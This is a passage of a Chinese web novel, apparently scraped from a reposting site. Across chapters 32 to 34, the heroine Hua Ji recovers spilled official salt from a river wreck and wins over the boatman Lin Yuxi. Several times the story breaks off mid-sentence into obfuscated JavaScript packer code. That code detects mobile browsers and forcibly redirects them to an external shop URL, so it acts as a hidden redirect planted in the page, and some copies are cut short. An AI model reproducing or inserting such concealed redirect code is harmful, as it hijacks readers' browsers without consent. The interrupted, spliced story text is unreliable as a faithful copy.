花棘暂时评估不出来，头船撞毁后损失掉的官盐到底有多少，唯见往来搬运碎木的船只们，行进时推开的不是水波，而是一个又一个漂浮在河面上，空空的麻袋。 撕扯变形的麻袋在被迫改变位置时，下方明显泛白的河水，才会短暂地露出一会儿。 那并不是河水原本的颜色，也不是盐水的颜色，而是溶解度饱和，悬停在水中，过量渗出的盐。 叫河水浸湿的麻袋，变成了极深的棕色，船只在其中穿行而过，间隙里倏尔露出的白色的水，自高处俯瞰，像是划开皮肤，血液流出之前，深可见骨的伤痕。 河水嘶鸣无声，反复被划开的伤口上，撒满了盐。 视线徐徐跟随，朝着更远处遥望而去，漂浮的麻袋总算稀疏，清澈的河水安静流淌，只有阳光在水中现身时，出现了短暂的变化。 那是光在密度不均的盐水里，发生了折射，而再往远，盐的流失，便是连肉眼也很难观察到了。 只能任由它们在这片水域中无限稀释，在毫无准备的未来，也许，还会以另外一种什么方式，重新回到千家万户。 事已至此，唯一值得庆幸的一点。 幸好，事故发生的时间，不是光线昏暗的夜晚。 花棘转过头，还是将重点放回了狭坝近处，这里悬停在水中的盐，说不定，还有得救。 头船上能够抢救下来的盐，已经被转移运到了第三、第四艘船上，第二艘船也在一边拆除，一边将上面的盐袋，转移到临近的第三艘船上。 让本就已经超载航行的另外两艘船，再去消化一船多的货物，这是一个相当冒险的决定。 花棘是来至货船近前才慢慢察觉，原来，为了提高超载货船在行进时的安全性，也为了尽可能多的容纳货物，随行的船匠们，早提前将船体内部的隔舱进行了改动。 隔舱从原本的九个提升至了十二个，不仅如此，货舱的高度也是加高过的，还将货舱底部的拐角都改成了更为平滑的矩形。 这样调整下来，货物装满压上去的时候，不是经常碰船的行家，轻易根本看不出有什么异样。 再一次，花棘不得不感叹这个时代之下，船匠们的技艺之精湛、经验之丰富、头脑之灵活。 尽管，她暂时还没办法看到船体内龙骨的情况，但依照她目前近距离对货船的观察，这八艘船的龙骨，应该也都是被刻意加强过的。 这样的决策自然有利、有弊。 她看着面前此时被拆得支离破碎的两艘船，和那些不停被运走的碎木，弊处就是—— 如此加强过的龙骨，在两船彼此相撞时，对船身的毁坏会更大。 随着花棘所在的竹筏，逐渐靠近至正在拆解的船身时，四周本就压抑的氛围，变成了更为诡异的沉默。 除了发号施令，和相互配合的人之外，其他人几乎均是一言不发。 但，每一双眼睛都在不时地朝着同一个方向望去。 那是谁？ 这里为什么会忽然混进来了一个女子？ 这么关键的时候，还嫌不够添乱吗，带个女子跟来算个什么事！ 每一个人瞥向女子的目光里，都充满了敌意。 渐渐地，连看向与花棘同行的竹筏上的其他人，都带着浓烈的谴责意味。 竹筏上的几人看得清楚，心里自然也明白是何缘由，可一时间，他们也不知道该怎么向众人解释，花棘这个女子的特殊。 几人各自左右看了看，交换完眼色后，默契地一齐向船尾退去，分散开站位，试图想要帮花棘遮挡...... “抱歉，借过一下。” 不料，身后清冷的女声当即响了起来。 花棘看懂了同船几人这是在维护她，可她向来不擅长应对这种情况，更不用说，还是从来没什么交集的陌生人。 所以，她只好有些别扭，又有些为难地，斟酌着委婉道： “我，嗯.....我还有些要确认的信息没有看完全，诸位，挡到我的视线了。” 汉子们意外地听到花棘这样说，赶忙推搡着低头闪身，为她让出了一条路来。 花棘丝毫不作耽搁，略微颔首点了点头算是道谢，接着，脱掉身上何川的外袍，径直走去了船头。 迎着各路人陌生的排斥，她依然我行我素地两条手臂交叉横于胸前，如同前世站在指挥室内，巡视轮船的航行情况一样。 她只回瞪着，简单扫过一圈后，便继续专注在了自己要观察的细节上。 若是连这点目光都受不了，她也不用再想着，要重新当什么船长，寻什么仇了。 这时，竹筏上又响起了脚步声，何川靠近过去，拿起花棘放在一侧的长袍重新穿上。 从他这里的角度看过去，刚好可以窥探到两步之外，花棘消瘦到过分锋利的下巴，和那随时准备拒人于千里之外的冷漠。 水中往来忙碌的男人们，全部都赤裸着上半身，花棘这样的女孩子，一个人站在他们中间显得很奇怪。 而且，大家常年和漓河水打交道的人，哪个皮肤不是晒得黝黑一片，虽然......他倒是也见过花棘砍人的样子，可那张纸一样白的脸，明明看着就很柔弱。 但花棘那副全无所谓又胸有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少顷，四周传来新的动静，供往来进出的河道狭窄，来回运送碎木与安置盐袋的人手饱和后，多出来的人力开始动手打捞起了水中的麻袋。 同一竹筏的人都跟着参与了进去，花棘回身，见大家人手一根竹竿，各自乘船立于河岸一侧。 竹竿在半空中抡圆，从水面一带而过，几个破损的麻袋便挂了上来，接着，提起竹竿一端，斜斜地往岸边的碎木架子上一送，算是完事。 众人一齐动手之后，河面上方顿时水花飞扬，胡乱漂浮的麻袋们当即去了一半。 即便受河水反复冲刷，麻袋上残留下的盐依旧不在少数，但还有一个地方，有更多等待着被抢救的盐。 “诸位且慢。” 花棘开口，猛地叫停了同船的几人。 声色之突兀，直叫周围的男人们全部跟着望了过来。 她冷眼环顾了一圈，没有给那些人太多胡乱揣度的时间，径直继续道： “可否，先帮我一个忙。” 说完，不等旁边几人表明态度，便撸起袖子，拿过一旁的木桶，蹲在竹筏旁盛满一桶水，就近浇在了碎木堆里铺着的麻袋上。 沉寂了一下午的人群，叫她这一泼，当即炸开了锅。 各式指责与谩骂的声音，争相往她的耳朵里钻，花棘听着，手下动作不停，每一桶泼洒出去的河水，依旧只冲着同一个地方浇。 这样的声浪，她尤嫌不够。 未消多久，对峙牵连到了与她同船的几人身上，花棘这时才终于有了新的动作。 只见，她迎着所有人追问的目光，泰然自若地绕过身前几人，一直走到了竹筏朝向的最前端。 而后，高昂着头，扬声回应道：“不错，在下正是花棘。” “花棘？” “怎么会是她？” “那个被官府通缉的在逃刑犯？她怎么会在这里？” “她不是杀了很多人，她来这里......” 质疑的盛怒，彻底在人群中被点燃，热浪一丈高过一丈，转瞬间越传越远。 置于风暴正中心的花棘，却只在俯身取水时，轻轻地扯了一下嘴角。 她认不出林玉溪，也找不到人。 那便只能请林玉溪，自己过来找她了。 脚下竹筏微颤，有脚步声徐徐靠近，花棘侧身瞧了一眼过去，竟然是何川。 紧闭着嘴的少年，不看她，也不说话，他不知什么时候，又将外袍脱了下去，袒露的双臂青涩而充满力量。 少年正循着她的样子，取了木桶，一下快过一下地泼洒着江水，也固执地浇在她浇过的位置，背影里透着形单影只的倔强。 可一个柔弱的女子，一个不成器的少年。 叫眼前无端的闹剧，更显荒唐。 “花棘姑娘的手，是天生就这么欠的吗？” 一道低沉的男声，忽而穿过吵闹的人潮清晰传来，吐露出的每个字眼里，都带着难掩的怒意。 花棘闻言，心下一喜。 来了。 而碎木一角，被不停浇泼过河水的麻袋之上，也刚好析出了雪白晶莹的盐粒。 32.第三十二章 “花棘姑娘的手，是天生就这么欠的吗？” 很快，忙碌的人潮开始向两侧靠拢，中间一条清清楚楚的小道被让了出来。 一叶轻便的竹筏倏尔来至眼前，前端正背坐着一位惬意慵懒的男子。 男子一身简陋白衣，乌发高束成一尾，长长地垂着，单薄布料包裹下的脊背，线条紧致健壮，长腿一条曲起，随意搭着手臂，一条自竹筏边缘垂下，摇摆着荡在水中。 所有的喧嚣鼎沸都在男人开口之后戛然而止，再无需任何多余的提示，花棘已然知晓，这个人就是林玉溪。 男子便是那样平常地坐着，就可以将众人的目光全部吸引过去，好似天然带着一种他出现在哪里，哪里便是焦点的气场。 “郎君说的哪里话，我既然跟着来了，自然是来帮忙的。” 花棘饶有兴致地解释着，略打量了一眼来人后，继续拿着木桶俯身取水，换了一处新的位置继续浇上去。 她倒要好好试一试，她要找的这位“卧龙先生”，到底是怎么样的一个人。 “我呸！” 林玉溪猛唾一下，顺口吐掉了嘴中一直叼着的半截水草。 他清清楚楚地听着，却根本不理什么花棘，依旧一副不成体统的样子，扬手一指两侧准备看热闹的众人，笑着道： “都看什么呢，真以为是天上的仙姑，发善心下凡来救咱们兄弟？等仙姑真给你们施法，可还指不定是人是鬼呢？干活，干活！” “哈哈哈哈哈......” 说罢，四周人也全当是听了一个笑话般，跟着一起大笑了起来。 笑完该干什么干什么，没有人再理会那个叫花棘的女子在发什么疯。 紧接着，爆笑过后的气氛只安静了一瞬。 哗啦！ 随着一道痛快的出水声过后，飞溅着水花的木桶忽而叫人用力扔出，正朝着林玉溪的头顶砸去。 竹筏前端坐着的男子身形一闪，跌落进了水里。 河面下方白色身影快速游动，水性极好的林玉溪，转眼已来至花棘的竹筏旁。 他熟练地爬上竹筏，站直身在花棘面前，居高临下地看着那不知天高地厚的女子，径直怒骂道： “花棘！你别给脸不要脸！” 花棘听过，面不改色地后退一步，嫌弃地看了一眼面前浑身湿透的林玉溪后，斜眼偏头示意，平静道：“自己滚去看，我不过是在替你救河水里流走的盐。” 一旁深棕色破损的麻袋上，析出的白色盐粒分外明显，但林玉溪只匆忙扫了一眼，便转回了头，一双狠瞪向花棘的眼睛里，闪动着隐忍的怒意。 他欺身向前，一步一步逼近，反问道：“怎么？花棘姑娘这是在好心提醒，我还得感恩戴德，好好谢谢你是吗？” 花棘双手背在身后，仰着头，直视向林玉溪的眼睛，并不准备回答。 林玉溪冷哼一声，也不在意，手指着一侧缓慢流动的江水继续道：“你一个身娇体弱的女子，乱泼了那么两桶水自然不会怎么样。” “可你知道，如若是几个男人，十几个男人，一齐盛水泼向两岸会发生什么？”他逼问道。 林玉溪五官整体的感觉，像是遗传自他的奶奶，但远比红姨的要更加立体。 凸出的眉骨、颧骨，高挺的鼻梁，让背对落日站立的人，半边侧脸晦暗的阴影更加硬朗、锋利、狠绝。 像是高原上来势汹汹的孤狼。 背光的阴影里，林玉溪向她看来的目光愈发深邃，衬得那一对眸子又黑又沉，威势逼人。 偏曝露在光亮下的嘴唇，薄得只有一条缝，间或挑起、颤动，最为细微的情绪都藏在了里面。 眼前人看似不修边幅，却与四周几百个真正的糙汉们有天壤之别，是个难得的粗中有细的人。 林玉溪所问之事，花棘心里自然清楚，但她仍旧一脸无所谓地开口：“你说说看。” 林玉溪被花棘愚蠢的无知彻底激怒，他语速极快地解释，“没错，堤坝处河水里堆积的盐，确实可以用你的那种办法救回来。” 说着，声音陡然提高：“但大量河水浇出去，全都渗入进两岸的泥地里，堤坝处的水位就会降低。” “再加上本来就棘手的河底硬石干扰，影响了货船通过的效率，等更多货船折损在这里，有的是盐给你救。” “到时候，你以为该负责人的人是谁，是你吗？啊？”林玉溪大声质问。 “是他妈的老子我！” 他抬手指着自己的脸，拳头在身侧扬起时，几乎是紧擦着花棘耳边收回来的。 “到底是已经损失掉的这点盐重要，还是剩下的七艘多船盐重要，你说啊！”他转而指向身后不断靠近的货船，再次质问。 末了，见花棘始终未肯回答，他渐渐放下手，蔑视着莫名出现的女子道：“别太自以为是了。你一个女人家，根本就不该出现在这里。” “你最好趁早给我滚，再敢来妨碍我的事，就别怪老子不客气。” 说完，林玉溪转身便要走。 “都重要。”花棘开口叫住了人。 林玉溪就着刚转过身的姿势定在原地，回头像是一时间没有听明白花棘的话，随口问：“什么？” “被河水冲走的盐，和货船上现有的盐，都重要。” 花棘走上前，又为林玉溪解释了一遍，而后继续道：“我当然可以滚，但河水里的盐我一定会救，堤坝处的水位也不会降低。” 林玉溪听过，不耐烦地回身，一手指着花棘当即反驳道：“你给老子听好了，是，这里的水位够低，可以借助一侧高水位处不断流下来的江水快速回流，但是！” 他话音一转，手指移向远处另一侧的高坡，“船每次从一侧俯冲加速下来，经过堤坝，紧接着能够顺利爬升过去，你别以为靠的只是人力划桨。” “真正要靠的还有冲击到坡下，一直持续堆叠的水势。” 林玉溪态度强硬地引着花棘去看前方高坡底端，那里波浪凶猛，起伏的水势来回激荡摆动。 “是水浪间你看不见的升力，助推着经过这里的船，特别是满载重的大型货船，会更需要。” 花棘一介女流，便是这么往他面前一站，他打不得，更轻易连碰也碰不得，给他气得只能原地转圈。 他实在忍无可忍，又停下来，两手叉腰地逼问道：“而你却敢堂而皇之地，要将堤坝处的水势断掉，改变的难道仅仅只是你看到的那一点水位吗？” “还有坡地那一瞬间最重要的升力！”他高声自问自答。 “我最后警告你一遍——” 被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111934|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气炸了的林玉溪正要放狠话，不料，被那女子轻描淡写的两个字就给打断了。 “不会。”花棘神色淡淡地道。 “嗯？你真是冥顽不灵！你这个人女人，你怎么敢的？” 林玉溪气得指人的手都在发抖，他简直不知道该怎么跟这个蠢女人说。 “那谁！给我来个人，这女的怎么带来的，再给我怎么请走......” 他扬声朝远处招呼着，正要找人过来把花棘拦住，谁知那疯女人竟直接忽视他走了。 “我可以现在就证明给你看。”经过林玉溪身边时，花棘撂下了一句话。 接着，她快步走至船尾，捞了刚才砸人的木桶上来后，随手拿起一根飘在水中的竹竿，撑着船就往高坡底端的方向去。 与花棘同船到达这里的几人，早在林玉溪方才玩笑似的喝令中，分散着加入到了两侧的队伍里。 就连有心偏袒花棘的何川，也根本不敢在这两位祖宗身边待着。 四周每条线路上推进任务的人手脚麻利，他们目标清晰各司其职，因而效率奇高。 只在花棘经过身边时，他们才会像看笑话一样，不屑地转头撇上一眼，然后继续专注回自己的事情上。 意外事件发生后，林玉溪在起初最为混乱的关口，做好了统筹调配的安排，接下来，哪怕是他本人根本不在现场，也不会影响整个救援工作的推进。 如此出色的领导才能，和团队执行力，花棘一边撑船，一边回想着自己对林玉溪样貌的观察。 以她对这个时代底层百姓基本皮肤特征的了解，这个人的年龄不会超过二十五岁。 河段中心处的麻袋已经被清理得差不多了，叫竹竿挑飞至半空的水花，飞溅在竹筏两端的世界之外，而竹筏之上，立着一红一白两道年轻的身影，于船头船尾两相遥遥对立。 林玉溪看了几眼后方撑船的花棘，转身在船头坐了下来，依然是一副吊儿郎当地做派，两条长腿，一条曲着，一条泡进了水里。 竹筏两侧，进出运送碎木的船只队伍各占一端，仅在中间空出了这么一条四尺多，勉强算是路的路。 花棘控着竹筏在其中穿插而过，很稳，速度更是不慢。 便是何川那鬼精的小子，也要正经磨砺上几年，撑船时才能有这么稳的手，林玉溪在想自己这段时间听到的，关于这个疯女人的传闻...... 他压低了声音，略侧过头，对船尾的人说道：“我没那么多闲工夫，这个时候哄什么姑娘，你最好能对说过的话负责，不然，我会让你知道代价。” “按照大绥的盐政处罚规制，损失较轻者，处以杖六十至杖一百，并责令赔偿。” 花棘语气不疾不徐，将此番事件众人都在回避的事实，道了出来。 “而损失较重者，五石及以上，对相关责任人以‘失职’论罪，处以......”她略作停顿了一下，又继续道，“死刑。” 花棘的目光只在手下，她看着被竹篙一端轻轻拨开的浅白色河水，平淡反问：“你眼前河水里流走了共多少石官盐，还用我来帮你算吗？” 前方几米之外就是高坡底端，花棘撑完最后一次篙，将竹竿放好，拎起木桶走至林玉溪身边时，蓦然开口： “我来，既是救船，也救你的命。” 33.第三十三章 “哈哈哈哈哈......” 花棘话一说完，林玉溪在船头笑得前仰后合，肚子都疼了。 “姑娘这是什么意思，怎么？知道是惹了我生气，现在想起来要哄我了？”林玉溪没正形地问。 接着，又兀自嬉皮笑脸道：“我现在可算不出具体是损失了多少官盐，我只算得出，我到底哪天会掉脑袋。” 说话间，他慢慢收腿回来，起身来至花棘身旁，压低了声音，一点一点靠近，俯身追问道：“倒是姑娘你，莫名出现在这里，又莫名关心起说要来救我的命，会让我误会的。” 花棘没急着回他，而是赶在人挡住她视线前，抬手将木桶顺着林玉溪头顶的方向扔了出去。 哗！ 木桶刚好落在高坡底端的正中心处。 花棘拍了拍手上留下的盐粒，冷脸看着人，“不用误会，我直接都告诉你。” 她坦言道：“我在组建一支船队，需要一位能够为我带队的人，这一次我救下你的命，换你下一次，来还我的情。” “救我？”林玉溪长眉皱着，尾音高挑。 “你这个女人到底是假聪明，还是真的蠢。”他说着冷笑了一声，“就算是堤坝处的这点江水，我全让你滤完一遍，也决计救不回来更多了。” “......五石官盐的量，早散尽了。” “要怎么救你是我的事。”花棘忽而冷了语气，“而江水里流走的盐我一定会救，却从来不是为了你。” 她眼神凌厉仰头直看着林玉溪，凛然开口：“有很多人比江水里的鱼更需要这些盐。” 林玉溪听完无声地点了点头，接着后撤一步，两条手臂交叉横在胸前，仔细打量起了面前的女子。 他软了语气，认真问：“你要怎么证明？” 该是什么样的奇女子，才能像传言中说的那样，简直要被神化了一般无所不能。 他可不信。 这会儿还是他第一眼真真切切地看过去，怎么说呢，眼前既固执又愚蠢的女子，还真是......有那么点意思。 花棘的蠢，是因为比之他平时见到的那些女子，要直白太多了。 她的这张脸说不上丑，却也绝对算不得有多美艳，江畔边惹人垂爱的美人们，哪个不是目有秋波，一走一过间风情多姿。 可花棘全然不是这样。 巴掌大的小脸上，五官与骨相明明都是精致的，但漆黑澄澈的眉眼偏偏清冷执拗，如同坚硬却易碎的墨玉，秀挺的鼻尖与孤峭的下巴又太过疏离，一点桃色红唇，线条锋利得仿若随时都能割到人。 他想象不到这样一张脸上，扬起笑意的时候会是什么样，不过，要嫌恶某个人的时候，就会分外明显了。 比如现在。 那女子在向竹筏边走时，刻意侧目看了他一眼过来，流转的美目狭长如刀，很不客气地剜了他一下。 林玉溪一双深邃的眼睛微眯着，赤条条地粘在花棘身上，一路尾随着花棘的动向转过了身。 他看着花棘那瘦薄笔挺的背影，这个女子的样貌是这样，周身的气度也是这样。 刚刚看向他的那双眼睛里，野心与目的明明白白地昭示着，狂妄而笃定，好似他给出的所有拒绝，从来也没被她放在眼里过。 竹筏边，花棘注意到了林玉溪的打量，却根本没那个时间去在意更多。 她蹲下去，伸手，捧起一汪水。 阳光下晶莹剔透的淡白色河水，很快便顺着手指间的缝隙流了回去，但所有误入其中的盐粒，会恋恋不舍地躺在手心里，乖巧等待。 这里是堤坝下游的最低处，同时也是水势向另一个高坡流去的伊始，这里河水的含盐量还能有这么高，说明堤坝中心处附近能够救起的盐，只会更多。 花棘能够感觉到，林玉溪的视线应该还落在她背上，她看着手指间的盐粒，思绪微动。 要让林玉溪这样有自己明确判断，心里一旦认定什么事，就轻易不会摇摆的人，愿意跟着她去冒险，她必须要给出一个足够让他信服的理由才行。 “将木桶内放入重石，由人力助推向前，一次近，一次远。” 花棘起身目视着不远处漂浮着的木桶，一边揉搓掌心内的盐粒，一边徐徐说着。 “木桶行进的同时，分两组人在其两侧对角取水，届时，只需观察木桶在到达高坡底端后的浮动表现，就可以明晰这样的取水方式，到底能否影响底坡处的水势。” 这是目前她能想到的，最直观，也最保险的验证方法。 结果如何，林玉溪自己一看便知。 话音将落，花棘忽而俯身向着水边倾倒，一侧手臂自河面上方快速划过。 而后转身来至林玉溪面前，就着滴水的手指，在竹筏上画下了一个草图。 林玉溪定睛看着，那是分列两排，共十二个同等大小的格子。 花棘手指着其中斜对角的两个格子道：“不需要同时大范围取水，可以将所有可调动的人员分组，以对角联动的方式，分开间隔取水。” “如此交叉着取水，能够保证水势不会被猛然切断。”花棘说着，半蹲在竹筏上，仰头看向林玉溪，一向清冷疏离的眼睛，只在这一刻多出了几丝柔软。 她缓了语气，继续道：“这个方法需要耗费的人力也会更少。” 沉默倏地被拉得有些漫长，见林玉溪偏头看向河面，并未及时给到答复，花棘站起身，主动走上前去。 她径直绕去林玉溪面前，展开手心里残留的盐粒给他看，言辞恳切，“这件事不需要上限，也没有什么下限，本来也是最后的补救办法，能抢回来多少是多少。” “哪怕只是多一桶盐水，多析出了一石盐，也好过没有。” 眼前女子说话的音量逐渐大了起来，一双带了些英气的眼睛目光灼灼，挺直的肩膀正因情绪激动而略微颤抖着。 在林玉溪听来，她是在祈求，但又更像是强硬的命令。 “不行。” 反倒是他自己说出口的拒绝，语气轻得如同是在劝人。 甚至，紧接着又补上了一句：“货船的体量太大了，不能冒这个风险。” 他将视线从那女子的身上移开，转头看向一侧天边。 红日外散出的光晕，已经沉落到了江水上，距离天黑只剩最后一个时辰。 另一边，船队后方第六艘船的白帆愈发清晰可见，而第三、第四艘船前方的碎木也即将清除殆尽。 现在，正是重新起航前最关键的时刻。 整整八艘船的官盐，事关三州人一个季度的用量，由他负责运送的船队出了这样的事，已是百死莫赎。 绝对，不能再有任何问题了。 这时身旁的花棘突然动了，只见，她快步去到一边，扬手拦下了一艘载着碎木，正准备翻过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旦这几艘大船开过去，将水流里盐分带出这片低坡，再想要救就不可能了。 有些话各自心里明白，自然也不用谁多说。 林玉溪的视线早已从连绵的船队上移开，望去了漓河两岸葱郁繁茂的荒草。 他其实一直在顾虑的，还有另外一件事。 公开水域里，官盐一旦脱离了官船，会是比留在河中更加危险的事。 而这里，这样一个天然形成的低谷，前后两个高坡外视野受限，荒原两岸人迹罕至。 是多少人，最钟爱的温床。 但...... 他低头回看向花棘的眼睛，夕阳璀璨的霞光正揉碎了，一丝一缕地倒映在里面。 他猛然发现，她的这双眼睛原来并不是完全冷的，只是那如何也不肯熄灭的火焰，燃烧得太深了而已。 这女子正对着落日站着，苍白冷峻的脸颊有了颜色，斑驳的红衣之上满身荣光。 他就这样看着，莫名自嘲地笑了。 未雨绸缪是没错，但若是未知的危险连出现都不用，便先被打倒了，那他可真是连女子也不如了。 蓦地，林玉溪转身大步走向船尾，扬声叫了一句： “小川。” 34.第三十四章 林玉溪没有再另外安排什么试验，而是直接叫了退下来的众人，根据先前花棘在竹筏上画过的草图，迅速分好了组，确定好站位。 所有准备工作执行的效果惊人，接着，只待他一声令下之后，堤坝处的河面再度水花四溅。 花棘全程在一旁看着，不禁暗暗惊叹。 也是，梅别鹤那样眼高于顶的人，偏是得这样的人中龙凤，才入得了他的眼啊。 能够听进去她的推断，还肯冒险跳过试验，省下更多时间去救盐，足可见林玉溪对她的信任了。 但要一个人心甘情愿地服从她的调配，还差得很远。 如梅别鹤和林玉溪这样锋芒毕露的人，算是所有高精尖人才里最难驯服的了。 他们不止有在各自领域里过硬的能力，更有最为难得的，能够一直吸引人追随的人格魅力。 够独特，够张扬，有情有义，心中有大爱，亦有小善，围绕在他们身边的人会愿意去相信，去托付，去赴汤蹈火。 这样的性情在关键时刻，会比出色的能力还要有用，是一个团队得以绝境逢生的真正依仗。 花棘很欣赏这个人。 这种欣赏不是只在能力上的认同，很奇怪，和对梅别鹤的敬重不一样，她也理不清楚，总觉得似乎...... 自己与林玉溪之间，有某种心底更深处的契合。 从前，任职远洋船长时，她也会有这样的朋友，他们都是她最为坚实的臂膀。 是她过险滩的帆，破冰川的剑。 她想要有这样的人在身边，与足够优秀的他们结识，彼此学习。 同时，最为重要的一点，当她的船队中这样的精英越多时，所有人最后存活下来的几率也能越大。 交心才有默契。 为了得到林玉溪的助力，她会耐心下来，她相信自己，也愿意给时间，让林玉溪来慢慢认识她。 夕阳的余晖在西边天际转瞬铺陈，前方流淌进云层里的江水，被尽数染成了绚烂的橙红，两岸稍显内敛的绿意向近处逐次收缩，簇拥着下方低谷，一场酣畅淋漓的白浪漫舞。 飞扬如注的水滴，在霞光万丈中连成晶莹的线，下方交错分布的人流，手提木桶穿梭其间 ，如同是在织一匹透明的布。 要在浪花逐渐落去，要在被送去两岸的河水重新流淌之后，这匹布的颜色才会逐渐显现出来。 于是，绿草如茵的碎木之上，落下了一层最晶莹的白。 漫洒的暖晕笼罩在上面，流光溢彩，好似有生命在自如地呼吸。 再次确认好接下来启程前的每一个细节之后，林玉溪抽身出来，快步走向花棘所在的位置，想要去和那个女子最后再道个别。 他们之间，好像还有一笔交易没有谈完。 他承认花棘的能力和见识，确实让他很意外，但他这人可从来不习惯在别人的手底下干活。 更何况，还是一个既年轻、长得又别有韵味的女子，这要是传出去了，好说也不好听啊。 或者，真像那女子说的，有办法救下他的这条小命...... 那一抹消瘦的绛红色身影很好找，花棘正半蹲在岸边的碎木旁，仔细盯着析出的盐粒看。 林玉溪手里来回颠着一块小石子，眼瞧着过去还有一段距离的时候，忽而玩闹着俯身丢出石子，在花棘旁边的河面上，打出来了一连三个漂亮的水花。 清凉的河水飞溅到脸颊上，花棘已知来人是谁，满脸嫌弃地转过了头。 林玉溪依旧屈腿荡在竹筏前方，见她看去，随即有些无赖地开口：“临出发前，我还得再来确认一下，某人说过的话，到底作不作数。” 一句话说完，竹筏刚好轻撞在岸边，后面掌篙的是何川。 “郎君何故会有此问？” 花棘仰头直视回去，说话间，顺势敛了衣裙，在旁边一块长木上坐了下来。 她接着反问道：“男子说出的话可以一言既出，驷马难追，怎么？这句话在女子身上，难道就不适用了吗？” “哈哈哈哈......”林玉溪爽朗地笑着，“花棘姑娘说得是，倒是在下孟浪了。” 说着，他直接从竹筏上跳下来，走去了花棘身旁。 花棘冷脸扫了林玉溪一眼后，视线移开，继续看回了分散在碎木上的盐粒。 这些抢救回来的盐粒，必须也要在天黑之前尽快收集起来，由专人运走，免得夜长梦多。 她还在反复对比，几种在现有场景下可行的方案。 “说了要救你，我自然有我的办法。” 她接着道：“倒是你，船队眼看就要重新起帆了，出了这么大的事，怎么你还能这么闲？” 林玉溪在花棘的近前停下，也跟着在同一块长木上坐了下来。 颇有些玩世不恭地回道：“船翻了而已，又不是天塌了。” “只不过这一次算我运气不好，多少年都未出现过的事，被我给摊上了。” 林玉溪哀叹了一声，继续开着玩笑：“该是要给这些盐，好好赔个不是的。” “所以，今日若我只是在胡说，你便准备安心等死了吗？” 花棘陡然提高了音量，转过头来瞪向林玉溪的眼睛，冷得像是三九天里房檐边落下的冰晶。 林玉溪叫花棘的目光惊得，短暂地愣怔了一瞬，复又无奈地笑了起来。 “不是所有官盐还在我手里吗，左右也有时间，到时候走一步看一步呗。”他随口想到哪就说到了哪。 不过，说是这样说，但其实他自己心里还真没有底。 他才刚刚二十一岁，媳妇儿都还没娶呢，自然是没活够的。 而家里奶奶年纪大了，在后狭生活大半辈子，一时间他可想不到，该带老人家逃去哪里能更好一点。 花棘的办法显然很有成效，高坡底端负责观察的人，到现在了也没传回什么动静。 林玉溪瞧着身边人的侧脸，被花棘那恨铁不成钢的模样逗得很想笑，这个别扭的女子，不会是在担心他吧？ 这样一想，反而更想笑了。 另外，还有一件小事，他一直很好奇。 “花棘姑娘先前多番规劝，而在没有任何试验的前提下，姑娘又何以能够笃定，如此大规模的取水，不会影响到上升的水势？”他认真地问道。 花棘低着头，两手合握置于膝盖上，听到问及此，她右手指尖微动，下意识地缓缓轻点了起来。 她在斟酌，自己该怎样回林玉溪。 方才一时头脑发热，失态地大声质问，到底还是有些冒犯了。 她并不了解事情的全貌，也不清楚林玉溪背后需要承担的都有什么，便这样堂而皇之地斥责...... 简直，太让人讨厌了。 可她会这样去说一个人，也是因为在心里认可了这个人，她是真的在担心林玉溪，很纯粹地爱惜林玉溪的才能。 若换成是李文晞遭遇了同样的事，那她只会在人死之前，榨干李文晞的利用价值，并安排好自己的抽身退路。 花棘开口，语气仍是淡淡的，但却明显缓和了下来。 “凡事无论大小，都有风险，但有些事情做过之后，能够得到的效益，可以激励人不管怎样都要尽力去试一试。” 她侧过头，小心翼翼地看着林玉溪，说出的话依旧是固执的，“都没试过，怎么就知道不行。” 林玉溪太高了，为了听清花棘每次说的话，他始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121701|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终低俯着上半身，朝花棘的方向略偏过头。 花棘这次话刚说完，他就又笑了。 只是，这回的笑和先前几次不太一样，他连声音都没有发出，仅是嘴角不住地微微上扬。 他猜，那每看过他一眼，便要转回头去的姑娘，根本连看都看不到。 “花棘胆识，直叫小可钦佩。” 他缓慢开口，吐露的每一个字里都饱含真诚。 以他的性子，记忆里和谁说话，倒是少有这样谦卑的时候。 而此话一出，他分明看见面前女子线条冷峻的侧脸上，莫名浮现出了几许柔和。 好似寒冬清晨，暖阳升起时，光圈扭曲了窗棂的轮廓。 紧接着，随着他肩膀轻轻移开一下之后，晚霞倏地泻了进来，一缕鲜红刚好落在花棘嘴角。 也叫林玉溪看清了，那娇俏的朱唇飞扬向上时的惊艳。 